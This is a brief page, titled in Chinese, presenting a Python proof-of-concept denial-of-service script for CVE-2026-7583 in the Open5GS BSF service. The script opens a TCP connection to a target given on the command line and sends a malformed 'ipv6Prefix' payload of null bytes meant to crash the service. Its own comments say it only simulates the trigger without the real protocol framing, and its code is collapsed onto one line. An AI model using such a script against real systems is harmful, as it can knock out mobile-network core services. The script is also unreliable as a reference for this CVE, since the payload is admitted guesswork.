CVE-2026-7583 Open5GS拒绝服务漏洞

import socket import sys # PoC for CVE-2026-7583 (Open5GS BSF DoS) # Description: This script attempts to trigger the denial of service # by sending a malformed ipv6Prefix argument to the target Open5GS BSF service. def send_exploit(target_ip, target_port): try: # Constructing a malicious payload. # The vulnerability is triggered by manipulating the 'ipv6Prefix' argument. # In a real scenario, this would be encapsulated in the specific protocol used by BSF. # Here we simulate a buffer overflow or format string trigger. # Example payload simulating a long or malformed IPv6 prefix malicious_prefix = b"ipv6Prefix=" + b"\x00" * 1000 + b"::/128" print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print(f"[*] Sending malicious payload...") s.send(malicious_prefix) s.close() print("[+] Payload sent. Check if the Open5GS service has crashed.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <IP> <PORT>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) send_exploit(TARGET_IP, TARGET_PORT)